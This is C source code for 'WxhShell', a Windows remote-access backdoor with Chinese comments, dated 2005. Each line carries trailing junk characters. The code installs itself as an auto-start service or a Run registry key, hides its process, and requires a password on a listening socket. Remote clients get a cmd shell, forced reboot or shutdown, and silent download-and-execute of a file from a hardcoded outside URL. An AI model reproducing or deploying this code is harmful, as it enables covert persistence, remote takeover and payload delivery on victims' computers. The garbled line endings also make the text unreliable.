    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O6ltGtF  
    if(Boot(SHUTDOWN)) @eYD@!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <g64N  
    else { ~I]aUN  
    closesocket(wsh); c_Iq!MH  
    ExitThread(0); F(w<YU %6  
    } z6fY_LL  
    break; &UAYYH  
    } rd,!-w5  
  // 获取shell ~xcU6@/  
  case 's': { dJ~Occ1~r  
    CmdShell(wsh); ;X+cS,h  
    closesocket(wsh); pv^:G;  
    ExitThread(0); D8`SI2 1P  
    break; n{=Ot^ ";  
  } ~|ha9 1  
  // 退出 h]}DMVV]  
  case 'x': { I0G[K~gb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IV%Rph>d  
    CloseIt(wsh); Gsy'':u  
    break; ~SI G0U8  
    } [S0wwWU |0  
  // 离开 eL [.;_  
  case 'q': { I")mg~f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J^zB 5W,)  
    closesocket(wsh); )GOio+{H  
    WSACleanup(); .>2]m[53  
    exit(1); pz"}o#R"x  
    break; !:v7SRUXb  
        } z7pw~Tqlz  
  } 6cOlY= bn  
  } ?>My&yB  
.u]d5z BR  
  // 提示信息 W *2P+H%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;,xM*  
} V14+?L  
  } NMzq10M=6  
K1p.{  
  return; |3>%(4 OS  
} sAnb   
YR[I,j  
// shell模块句柄 ;_0frX  
int CmdShell(SOCKET sock) p[}~Z|(  
{ r6It )PQ  
STARTUPINFO si; gP>W* ]0r1  
ZeroMemory(&si,sizeof(si)); hfg ^z5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*9nzx#q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5yjG\ ~  
PROCESS_INFORMATION ProcessInfo; T=CJUla  
char cmdline[]="cmd"; fnIF<Zt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b&'YW*W  
  return 0; U[z2{\  
} WT}x Cni  
z G`|)  
// 自身启动模式 b"Jr_24t3v  
int StartFromService(void) 3mL(xpT.8z  
{ 7Dw. 9EQ  
typedef struct "*:?m{w5  
{ d+"F(R9  
  DWORD ExitStatus; >O0<u  
  DWORD PebBaseAddress;  )|W6Z  
  DWORD AffinityMask; -J0I2D  
  DWORD BasePriority; ux)Wh.5  
  ULONG UniqueProcessId; ;D@F  
  ULONG InheritedFromUniqueProcessId; L1&` 3a?pL  
}   PROCESS_BASIC_INFORMATION; V(Cxd.u   
@X P_~ N  
PROCNTQSIP NtQueryInformationProcess; :_Iz( 2hV  
xm tD0U1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z_>:p^id  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h?vny->uJ  
%v UUx+  
  HANDLE             hProcess; w }8=sw  
  PROCESS_BASIC_INFORMATION pbi; U*XdFH}vV  
yZb})4.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !j3Xzn9  
  if(NULL == hInst ) return 0; "]q0|ZdOwH  
0^6}s1d_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >y$*|V}k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #%{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(s@{=  
oG-Eac,  
  if (!NtQueryInformationProcess) return 0; dP"cm0  
X@/X65=[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6U,:J'5gP  
  if(!hProcess) return 0; ]qx!51S  
SQN{/")T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DmZ_tuVI  
rEWuWv$  
  CloseHandle(hProcess); M >i *e  
?.ofs}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n.,ZgLx["  
if(hProcess==NULL) return 0; @P[%6 d  
VeH%E.:  
HMODULE hMod; -L2?Tap  
char procName[255]; `.wgRUhFH;  
unsigned long cbNeeded; RK_z!%(P  
mA #^Pv*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I]~s{I(EK  
 h}}7_I9  
  CloseHandle(hProcess); K k^!P*#  
\?^ EFA+;  
if(strstr(procName,"services")) return 1; // 以服务启动 I,V'J|=j  
$H6ngL  
  return 0; // 注册表启动 lxBcO/  
} [p )2!]y  
) urUa E  
// 主模块 N8!e(Y K_  
int StartWxhshell(LPSTR lpCmdLine) UaHN*@  
{ , _xJ9_  
  SOCKET wsl; "T}HH  
BOOL val=TRUE; ke'OT>8  
  int port=0; 7K!n'dAi6  
  struct sockaddr_in door; Ge24Lp;Y 6  
fJi?~[5<  
  if(wscfg.ws_autoins) Install(); @VsK7Eo  
w!Z,3Yc)  
port=atoi(lpCmdLine); l%`~aVGJ  
x o72JJ  
if(port<=0) port=wscfg.ws_port; *C> N  
1z3I^gI*i  
  WSADATA data; By<~h/uJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |8\et  
hiaTJE|J?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,qhv(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X<H+Z2d  
  door.sin_family = AF_INET; u#Uc6? E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -AKbXkc~\  
  door.sin_port = htons(port); k59.O~0V  
{dV!sQD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v2mqM5Z  
closesocket(wsl); fy!,cK};  
return 1; ;fv/s]X86I  
} 4_\]zhS  
y(Q.uYz*  
  if(listen(wsl,2) == INVALID_SOCKET) { ~I%JVX%  
closesocket(wsl); }$s._)a  
return 1; y;HJ"5.Mw  
} !|#1z}(  
  Wxhshell(wsl); e1K{*h  
  WSACleanup(); vu)V:y  
ivi&;  
return 0; [zl"G^z  
;p)fW/<  
} 6z+*H7Qz  
'gz@UE1  
// 以NT服务方式启动 =[^_x+x hE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bC]GL$ph9*  
{ vlZ?qIDe  
DWORD   status = 0; dp>LhTLc  
  DWORD   specificError = 0xfffffff; _l.kbfp@  
[Uu!:SZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,vUMy&AV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '=m ?l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Y,>cg:z~  
  serviceStatus.dwWin32ExitCode     = 0; zDof e*  
  serviceStatus.dwServiceSpecificExitCode = 0; gUxJ>~  
  serviceStatus.dwCheckPoint       = 0; q oVp@=\:"  
  serviceStatus.dwWaitHint       = 0; q P>Gre  
0@8EIQxK"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $+ ?A[{JG  
  if (hServiceStatusHandle==0) return; Z(-@8=0  
{\f`s^;8{  
status = GetLastError(); F>A&L8  
  if (status!=NO_ERROR) fdTyY ;  
{ |7l*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bi[gyl#  
    serviceStatus.dwCheckPoint       = 0; `;!v<@:i2  
    serviceStatus.dwWaitHint       = 0; O WVa&8O  
    serviceStatus.dwWin32ExitCode     = status; geu8$^  
    serviceStatus.dwServiceSpecificExitCode = specificError; u!&Vbo? .B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &U8W(NxN  
    return; h $}&N  
  } G>0S( M)  
=-dk@s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HLcK d`$/  
  serviceStatus.dwCheckPoint       = 0; Awad!_VdHS  
  serviceStatus.dwWaitHint       = 0; #b4Pn`[   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |JW-P`tL0  
} {'#^  
SD^6ib/]b  
// 处理NT服务事件,比如:启动、停止 ?gMxGH:B.&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M[R\URu8  
{ jz2W/EE`w  
switch(fdwControl) 3yu{Q z5y,  
{ 7.PG*q  
case SERVICE_CONTROL_STOP: :n&n"`D~  
  serviceStatus.dwWin32ExitCode = 0; fhAK^@h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4W9#z~'  
  serviceStatus.dwCheckPoint   = 0; QX'/PO  
  serviceStatus.dwWaitHint     = 0; 8L<GAe  
  { ^ cn)eA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8*^Q#;^~99  
  } 5h^U ]Y#  
  return; 1dF=BR8  
case SERVICE_CONTROL_PAUSE: dkC[Jt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DM%4 V|F"  
  break; C{ {DZ*  
case SERVICE_CONTROL_CONTINUE: 37@_"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yU~OfwQ  
  break; :*"0o{ ie  
case SERVICE_CONTROL_INTERROGATE: HUtuUX  
  break; KF|<A@V  
}; Oi=>Usd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [*O#6Xu  
} >*v^E9Y  
!'No5  
// 标准应用程序主函数 VGY#ph%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >uuP@j  
{ :mU,g|~55  
hmOhXE[ a&  
// 获取操作系统版本 tdn[]|=  
OsIsNt=GetOsVer(); YB h :  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :cmfy6h]  
m?G}%u  
  // 从命令行安装 Eoug/we  
  if(strpbrk(lpCmdLine,"iI")) Install(); zlmb_akJ  
;6I{7[  
  // 下载执行文件 xQa[bvW  
if(wscfg.ws_downexe) { iq '3.-xYr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~l%Dcp  
  WinExec(wscfg.ws_filenam,SW_HIDE); )FM/^  
} q79)nhC F  
c xdhG"  
if(!OsIsNt) { BW}^n  
// 如果时win9x,隐藏进程并且设置为注册表启动 1%|+yu1  
HideProc(); AA9OElCa  
StartWxhshell(lpCmdLine); .9WJ/RKZ\D  
} '}*5ee](S  
else L=Q- r[  
  if(StartFromService()) dZm>LVjG  
  // 以服务方式启动 KL!k'4JNY  
  StartServiceCtrlDispatcher(DispatchTable); Xi_>hL+R(  
else |<\L B  
  // 普通方式启动 ^u#!Yo.!(  
  StartWxhshell(lpCmdLine); Xd>4n7nb$`  
E27wxMU  
return 0; 6TxZ^&=  
}  B&#TbKp  
vbmSbZ"y  
v8,+|+3  
I+w3It  
=========================================== b5 YE4h8%  
;Br8\2=$  
A0yRA+  
V^=z\wBZ  
;VM/Cxgep  
T5&jpP`M  
" zTBr<:  
e|+U7=CK  
#include <stdio.h> ' eO 4h^  
#include <string.h> *'vX:n&t  
#include <windows.h> %xf6U>T  
#include <winsock2.h> FZz\z p  
#include <winsvc.h> ,IxAt&kN  
#include <urlmon.h> G5E03xvL  
\&]'GsfF  
#pragma comment (lib, "Ws2_32.lib") 3k5OYUk  
#pragma comment (lib, "urlmon.lib") 7NRq5d(lP  
|]HU$Gt S  
#define MAX_USER   100 // 最大客户端连接数 s%>>E!Qi_  
#define BUF_SOCK   200 // sock buffer C 7YZ;{t  
#define KEY_BUFF   255 // 输入 buffer ouK&H|'  
/K:M ,q  
#define REBOOT     0   // 重启 BS>|M}G)r  
#define SHUTDOWN   1   // 关机 aG8}R~wH&  
0K`3BuBs  
#define DEF_PORT   5000 // 监听端口 ` #A&v  
ej47'#EY  
#define REG_LEN     16   // 注册表键长度 GptJQ=pV  
#define SVC_LEN     80   // NT服务名长度 Cp&lS=  
,(}7 ST  
// 从dll定义API @a)@1:=Rm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a Umcs!@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fd2Eq&:en$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nM34zVy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); THWT\3~,  
{N[IjY  
// wxhshell配置信息 ^q_0(Vf  
struct WSCFG { ?ah-x""Y  
  int ws_port;         // 监听端口 ;&37mO/T  
  char ws_passstr[REG_LEN]; // 口令 l|^p;z: d  
  int ws_autoins;       // 安装标记, 1=yes 0=no #+|{l*>  
  char ws_regname[REG_LEN]; // 注册表键名 rXuhd [!(P  
  char ws_svcname[REG_LEN]; // 服务名 }H!c9Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oh-Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~tn*y4uK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZOK2BCoW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~dC)EG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b/5?)!I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ++-HdSHY  
[94A?pn[z  
}; "n," >  
$Lv,e\]  
// default Wxhshell configuration c^><^LGb  
struct WSCFG wscfg={DEF_PORT, E#v}//  
    "xuhuanlingzhe", g2JNa?z  
    1, /T]2ZX>  
    "Wxhshell", oS0l Tf\  
    "Wxhshell", .C$S DhJ~  
            "WxhShell Service", UX;?~X  
    "Wrsky Windows CmdShell Service", 7/a[;`i*!  
    "Please Input Your Password: ", yhJH3<  
  1, ^Wo/vm*]  
  "http://www.wrsky.com/wxhshell.exe", X xcY  
  "Wxhshell.exe" D)U 9xA)J  
    }; >0Y >T6!  
f 5"1WtB  
// 消息定义模块 ;e4 15T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j uG?kL.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qn(2UO!pD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JGOry \  
char *msg_ws_ext="\n\rExit."; <qT[  
char *msg_ws_end="\n\rQuit."; :JH#*5%gQ:  
char *msg_ws_boot="\n\rReboot..."; Oq@+/UWX  
char *msg_ws_poff="\n\rShutdown..."; X0Zqx1  
char *msg_ws_down="\n\rSave to "; O;z:?  
y$|%K3  
char *msg_ws_err="\n\rErr!"; px8988X  
char *msg_ws_ok="\n\rOK!"; c[J?`8  
4l7TrCB  
char ExeFile[MAX_PATH]; 3u#bx1  
int nUser = 0; y iO!ZT  
HANDLE handles[MAX_USER]; `-fWNHs  
int OsIsNt; N;4bEcWjp  
pFgpAxl  
SERVICE_STATUS       serviceStatus; w=:o//~6j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _;!7:'J  
3 9to5 s,  
// 函数声明 G%^jgr)  
int Install(void); L#O1 >  
int Uninstall(void); \ne1Xu:hM  
int DownloadFile(char *sURL, SOCKET wsh); uP, iGA  
int Boot(int flag); vZ,DJ//U,  
void HideProc(void); uonCD8  
int GetOsVer(void); VzfaUAIZl  
int Wxhshell(SOCKET wsl); ~hD!{([  
void TalkWithClient(void *cs); 'yxN1JF  
int CmdShell(SOCKET sock); &H8wYs  
int StartFromService(void); jq%%|J.x  
int StartWxhshell(LPSTR lpCmdLine); Ipro6 I  
uN>JX/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g)$/'RB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )U12Rshl  
' ` _TFTO  
// 数据结构和表定义 bGw56s'R5~  
SERVICE_TABLE_ENTRY DispatchTable[] = 5~D(jHY;  
{ RO+ jVY~H-  
{wscfg.ws_svcname, NTServiceMain}, (P!r^87  
{NULL, NULL} /pY-how%!  
}; OQW%nF9~  
YI+ clh;%9  
// 自我安装 (#kKL??W  
int Install(void) L4O.=*P1  
{ 8\WV.+  
  char svExeFile[MAX_PATH]; Z(j"\d!y  
  HKEY key; l266ufO.u-  
  strcpy(svExeFile,ExeFile); c wNJ{S+  
%k%%3L,  
// 如果是win9x系统,修改注册表设为自启动 T@wgWE<0y_  
if(!OsIsNt) { ^H"o=K8=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /< k&[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [)+wke9  
  RegCloseKey(key); vf&_ N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1aI&jdJk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 Y4mTW  
  RegCloseKey(key); GY>G}bfh  
  return 0; kEgpF{"%n  
    } ?(Se$iTZ  
  } azz=,^U#  
} u6nO\.TTtY  
else { )J*M{Gm6i  
XGuxd  
// 如果是NT以上系统,安装为系统服务 _aeIK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r<$o [,W  
if (schSCManager!=0) +GJPj(S  
{ 5?MaKNm}  
  SC_HANDLE schService = CreateService C.BlB  
  ( ({ O~O5k  
  schSCManager, lD^c_b  
  wscfg.ws_svcname, }* \*<d 3  
  wscfg.ws_svcdisp, h;@c%Vm  
  SERVICE_ALL_ACCESS, y8_$YA/g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @U3:9~Q  
  SERVICE_AUTO_START, +Xp1=2Mq  
  SERVICE_ERROR_NORMAL, zauDwV=  
  svExeFile, l A%FS]vh  
  NULL, *`} !{ Mb  
  NULL, `Of D^Q=  
  NULL, c]h@<wnv  
  NULL, JK`$/l|7  
  NULL Bn9#F#F<  
  ); e|?eY)_  
  if (schService!=0) 8>@JW]  
  { =z;]FauR!  
  CloseServiceHandle(schService); &|j0GP&  
  CloseServiceHandle(schSCManager); Y)@Y$_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -)Bvx>8fq-  
  strcat(svExeFile,wscfg.ws_svcname); w3ATsIw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C6EGM/m8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~`Rar2%B  
  RegCloseKey(key); q}+zN eC  
  return 0; w >2sr^!y  
    } ?2l `%l5(  
  } ^B0Qk:%P^N  
  CloseServiceHandle(schSCManager); O/|))H?C  
} tAE(`ow/Ur  
} n\)1Bz  
5D.Sg;\  
return 1; Y/6>OD  
} ;W+8X-B  
I 1n,c d[  
// 自我卸载 Q?;Tc.O"/  
int Uninstall(void) ^GAJ9AF@(  
{ 0 zK{)HZ  
  HKEY key; PxgJ7d  
]/kpEx  
if(!OsIsNt) { 5VP0Xa ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 04jvrde8-O  
  RegDeleteValue(key,wscfg.ws_regname); ^~I@]5Pq  
  RegCloseKey(key); J,:&U wkv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,% Qh S5e  
  RegDeleteValue(key,wscfg.ws_regname); zPND $3&'  
  RegCloseKey(key); u -P !2vT  
  return 0; t))MZw&@  
  } }dop]{RG  
} ! ig& 8:  
} JC%&d1  
else { u1L^INo/  
tnaFbmp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ghWWJx9  
if (schSCManager!=0) @`dg:P*[  
{  k`Ifl)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @U18Dj[  
  if (schService!=0) i ? ~-%  
  { w+>+hq  
  if(DeleteService(schService)!=0) { Q8%_q"C  
  CloseServiceHandle(schService); jOVF+9M  
  CloseServiceHandle(schSCManager); o^vX\a?`u  
  return 0; vo`&  
  } g/JF(nkP  
  CloseServiceHandle(schService); m<hP"j  
  } GM0Q@`d  
  CloseServiceHandle(schSCManager); !*}UP|8  
} 1*9.K'  
} qEr?4h  
# G 77q$  
return 1; VwE4:/7YN  
} !Fp %2gt|  
8^>c_%e}  
// 从指定url下载文件 PQkw)D<n]_  
int DownloadFile(char *sURL, SOCKET wsh) )rK2%\Z  
{ A,9JbX  
  HRESULT hr; ^sD M>OHp  
char seps[]= "/"; WJOoDS!i  
char *token; )&c#?wx'w  
char *file; R~4X?@ZB  
char myURL[MAX_PATH]; t`"m@  
char myFILE[MAX_PATH]; w!7ApEH1  
9pqsr~  
strcpy(myURL,sURL); j4?Qd0z  
  token=strtok(myURL,seps); 4u 6 FvN  
  while(token!=NULL) -!Myw&*\V  
  { I_<XL<  
    file=token; g0tnt)]  
  token=strtok(NULL,seps); &/? Ct!_  
  } ^ ~Eh+  
eo0-aHs  
GetCurrentDirectory(MAX_PATH,myFILE); [j+:2@  
strcat(myFILE, "\\"); 2bNOn%!  
strcat(myFILE, file); HeAXZA,  
  send(wsh,myFILE,strlen(myFILE),0); ;7lON-@BI  
send(wsh,"...",3,0); .J)TIc__|A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \b"rf697 ,  
  if(hr==S_OK) 'w+]kt-  
return 0; z l@^[km{  
else R@\}iyM  
return 1; JpC'(N  
ep"[; $Eb  
} 32[}@f2q  
<: v+<)K  
// 系统电源模块 by@KdQow  
int Boot(int flag) "tz6O0D  
{ Tn}`VW~  
  HANDLE hToken; /| v.A\ :  
  TOKEN_PRIVILEGES tkp; fwFJe(.  
2tq2   
  if(OsIsNt) { zuvPV{ X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xnY?<?J"!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IL].!9  
    tkp.PrivilegeCount = 1; !DZ=`a?y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q-JTGCFl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :jiuu@<  
if(flag==REBOOT) { p R'J4~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?F"o+]i+^  
  return 0; iS$[dC ?N  
} SyvoN, ;Q  
else {  =_dM@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .k,j64 r  
  return 0; cE]z Tu?!  
} XN df  
  } lMFR_g?r  
  else { *G58t`]r  
if(flag==REBOOT) { v"G1vSx)BT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G^c,i5}w  
  return 0; UR sx>yx  
} pbVL|\oB}  
else { Z=JKBoAY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g*V.u]U!i  
  return 0; @nktD.  
} \O|SPhaIf  
} >yO/p(/;jR  
V\L;EHtc$  
return 1; @Q74  
} ]Ur/DRNS  
A,~3oQV  
// win9x进程隐藏模块 cgb>Naa<  
void HideProc(void) YdhTjvx  
{ )CFJ Xc:  
cE\w6uBR1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6FB 0g8  
  if ( hKernel != NULL ) {T4_Xn-I  
  { )d3 09O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8+'}`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ytcLx77`:  
    FreeLibrary(hKernel); 'm`O34h  
  } C[^VM$  
g257jarkMF  
return; B {Cm`f8E  
} , 'pYR]3  
?@"@9na  
// 获取操作系统版本 Id=20og  
int GetOsVer(void) w~]2c{\Qz  
{ gfL :SP8  
  OSVERSIONINFO winfo; }i+C)VUX   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |O8e;v72g^  
  GetVersionEx(&winfo); v^C\ GDH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7?fgcb3  
  return 1; 0F$|`v"0  
  else x^y$pr  
  return 0; c&D+=   
} 0AnL]`"t.3  
}u^bTR?3  
// 客户端句柄模块 BbB3#/g  
int Wxhshell(SOCKET wsl) Ijh RSrCv  
{ Q 8]X  
  SOCKET wsh; +k=*AQt^8  
  struct sockaddr_in client; r6S  
  DWORD myID; dX?j /M-  
e{8C0=  
  while(nUser<MAX_USER) ]D6<6OB  
{ L91(|gQP  
  int nSize=sizeof(client); /qQx~doK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lg|6~=aQ  
  if(wsh==INVALID_SOCKET) return 1; dO D(<  
xbiprhdv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~vF*&^4Vh  
if(handles[nUser]==0) @;EQ{d  
  closesocket(wsh); T)tr"<F5NP  
else >D=X Tgqqq  
  nUser++; 3r%v@8)!b  
  } k2Q[v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CX#d  
thPAD+u.3  
  return 0; .3EEi3z6z  
} 4H;g"nWqO  
PCCE+wC6  
// 关闭 socket _3 !s{  
void CloseIt(SOCKET wsh) |(~IfSE2  
{ y1`%3\  
closesocket(wsh); ccv  
nUser--; 2-S}#S}2C  
ExitThread(0); ZZi 9<g1  
} q4:zr   
>u%Bn \G  
// 客户端请求句柄 nR%w5oe  
void TalkWithClient(void *cs) ,>6mc=p  
{ S*r }oX0  
^C,rN;mX'  
  SOCKET wsh=(SOCKET)cs; i (rYc  
  char pwd[SVC_LEN]; .==c~>N  
  char cmd[KEY_BUFF]; + fvVora  
char chr[1]; CS%ut-K<5M  
int i,j; u}'m7|)8  
aV f sF|,  
  while (nUser < MAX_USER) { ILG&l<!E  
NX8w(~r,:  
if(wscfg.ws_passstr) { :CM2kh"Iu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;&b=>kPlZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wKW.sZ!S1  
  //ZeroMemory(pwd,KEY_BUFF); pJ?y  
      i=0; z'Bvjul  
  while(i<SVC_LEN) { y=GDuU%  
jxK `ShW=  
  // 设置超时 QIwO _[Q  
  fd_set FdRead; $7-4pW$y  
  struct timeval TimeOut; x!4<ff.  
  FD_ZERO(&FdRead); 5=s|uuw/  
  FD_SET(wsh,&FdRead); E]Cm#B  
  TimeOut.tv_sec=8; L#Ve [  
  TimeOut.tv_usec=0; }Ej^"T:H_;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?:PF;\U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0s4]eEXH  
c:DV8'fT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H8c -/  
  pwd=chr[0]; ZU:c[`  
  if(chr[0]==0xd || chr[0]==0xa) { LNgFk%EH  
  pwd=0; *XXa 9z  
  break; iA2TvP#  
  } >wV2` 6  
  i++; i .?l\  
    } Dk~ JH9#  
e ~G IUwJ  
  // 如果是非法用户,关闭 socket _h B7;N3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !&8B8jHqA  
} Xp^71A?>  
R*"zLJP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #1>c)_H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cT JG1'm  
6K.0dhl>`B  
while(1) { ]T<RC\o  
]gb?3a}A  
  ZeroMemory(cmd,KEY_BUFF); F-?s8RD  
G{s q|1  
      // 自动支持客户端 telnet标准   0bIhP,4&  
  j=0; &W y9%  
  while(j<KEY_BUFF) { }!vJ+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NSh~O!pX  
  cmd[j]=chr[0]; DTV"~>@  
  if(chr[0]==0xa || chr[0]==0xd) { gDsb~>rb|  
  cmd[j]=0; PwxRu  
  break; [M.!7+$o  
  } ~p/1 9/  
  j++; 4q^'MZm1  
    } _$qH\>se  
8z"*CJ@  
  // 下载文件 ]OA8H[U-eA  
  if(strstr(cmd,"http://")) { 3hzKd_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [lAZ)6E~=  
  if(DownloadFile(cmd,wsh)) $]]|#}J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +,Z Q( ZW  
  else "PY&NL?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e/!xyd  
  } }EWPLJA  
  else { NXDuO_#  
EJ`"npU  
    switch(cmd[0]) { iyf vcKO  
  *5|q_K Pt  
  // 帮助 TW}nO|qw  
